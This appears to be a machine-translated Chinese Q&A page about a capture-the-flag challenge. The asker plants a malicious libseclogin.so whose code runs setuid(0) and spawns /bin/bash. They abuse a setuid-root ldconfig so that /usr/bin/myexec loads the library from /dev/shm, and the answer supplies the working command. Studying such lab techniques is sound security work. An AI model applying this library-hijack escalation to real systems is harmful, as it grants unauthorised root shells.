手动链接C库以获取可执行文件

时间:2018-12-06 09:10:54

标签: linux

我目前正在研究“黑客入侵”的挑战,并试图在运动机上获取一个现有的可执行文件,以便由库运行以代替“易受攻击”脚本中缺少的可执行文件。

缺少的库是libseclogin.so。我在/dev/shm中创建了一个新文件,并从那里尝试使用ldconfig手动链接新库,以便在运行myexec时将我放到一个外壳中。 ldconfig设置了粘性位。

这是我运行的命令。最后,您可以看到,当我再次运行ldd来检查库是否已重新链接到/dev/shm/libseclogin.so时,没有任何更改。

我在此过程中错过了什么吗?

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 =>  (0x00007ffdbc6d9000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14  2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
  setuid(0);
  ^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
  setgid(0);
  ^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
  system("/bin/bash");
  ^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so 
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so 
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH 
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 =>  (0x00007ffc5f7f0000)
    libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
    /lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$ 

这是我用来插入外壳的基本C密码。

#include <stdio.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

编译命令以创建共享库。

gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl

1 个答案:

答案 0 :(得分:1)

问题主要取决于我对ldconfig的使用。

我在未明确指定so文件的情况下运行它,似乎可以解决问题。

正确的命令...

ldconfig /dev/shm

而不是...

ldconfig /dev/shm/libseclogin.c

然后,当我运行ldd myexec时,我得到了正确的输出。

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 =>  (0x00007ffdbc6d9000)
    libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)